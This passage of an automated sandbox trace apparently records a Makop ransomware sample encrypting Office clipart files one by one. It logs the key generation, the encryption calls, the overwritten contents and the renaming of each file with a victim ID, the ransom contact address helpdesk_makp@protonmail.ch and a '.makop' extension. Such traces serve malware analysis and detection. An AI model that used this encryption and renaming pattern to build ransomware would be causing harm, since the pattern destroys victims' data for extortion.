CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.155] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.156] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3734, lpOverlapped=0x0) returned 1 [0121.157] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3740, dwBufLen=0x3740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3740) returned 1 [0121.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.158] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3740, lpOverlapped=0x0) returned 1 [0121.158] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.158] SetEndOfFile (hFile=0xf0) returned 1 [0121.166] GetProcessHeap () returned 0x48a0000 [0121.166] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.166] GetProcessHeap () returned 0x48a0000 [0121.167] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.167] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.168] CloseHandle (hObject=0xf0) returned 1 [0121.168] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0121.169] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0121.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.169] GetProcessHeap () returned 0x48a0000 [0121.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.169] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.177] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.177] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.177] GetProcessHeap () returned 0x48a0000 [0121.177] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.178] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.179] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x347c, lpOverlapped=0x0) returned 1 [0121.181] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3480, dwBufLen=0x3480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3480) returned 1 [0121.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3480, lpOverlapped=0x0) returned 1 [0121.181] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.182] SetEndOfFile (hFile=0xf0) returned 1 [0121.188] GetProcessHeap () returned 0x48a0000 [0121.188] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.188] GetProcessHeap () returned 0x48a0000 [0121.188] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.189] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.190] CloseHandle (hObject=0xf0) returned 1 [0121.190] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0121.190] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0121.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.191] GetProcessHeap () returned 0x48a0000 [0121.191] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.191] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.192] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.197] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.197] GetProcessHeap () returned 0x48a0000 [0121.197] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.198] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.198] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.199] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3014, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3014, lpOverlapped=0x0) returned 1 [0121.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3020, dwBufLen=0x3020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3020) returned 1 [0121.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3020, lpOverlapped=0x0) returned 1 [0121.202] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.202] SetEndOfFile (hFile=0xf0) returned 1 [0121.209] GetProcessHeap () returned 0x48a0000 [0121.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.210] GetProcessHeap () returned 0x48a0000 [0121.210] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.210] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.213] CloseHandle (hObject=0xf0) returned 1 [0121.213] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0121.213] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0121.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.214] GetProcessHeap () returned 0x48a0000 [0121.214] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.214] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.218] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.219] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.219] GetProcessHeap () returned 0x48a0000 [0121.219] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.219] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.219] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.220] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.220] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.220] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x99c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x99c, lpOverlapped=0x0) returned 1 [0121.220] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a0) returned 1 [0121.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9a0, lpOverlapped=0x0) returned 1 [0121.221] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.221] SetEndOfFile (hFile=0xf0) returned 1 [0121.228] GetProcessHeap () returned 0x48a0000 [0121.228] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.228] GetProcessHeap () returned 0x48a0000 [0121.228] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.228] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.230] CloseHandle (hObject=0xf0) returned 1 [0121.230] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0121.230] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0121.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.232] GetProcessHeap () returned 0x48a0000 [0121.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.232] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.237] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.237] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.237] GetProcessHeap () returned 0x48a0000 [0121.237] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.237] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.237] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, 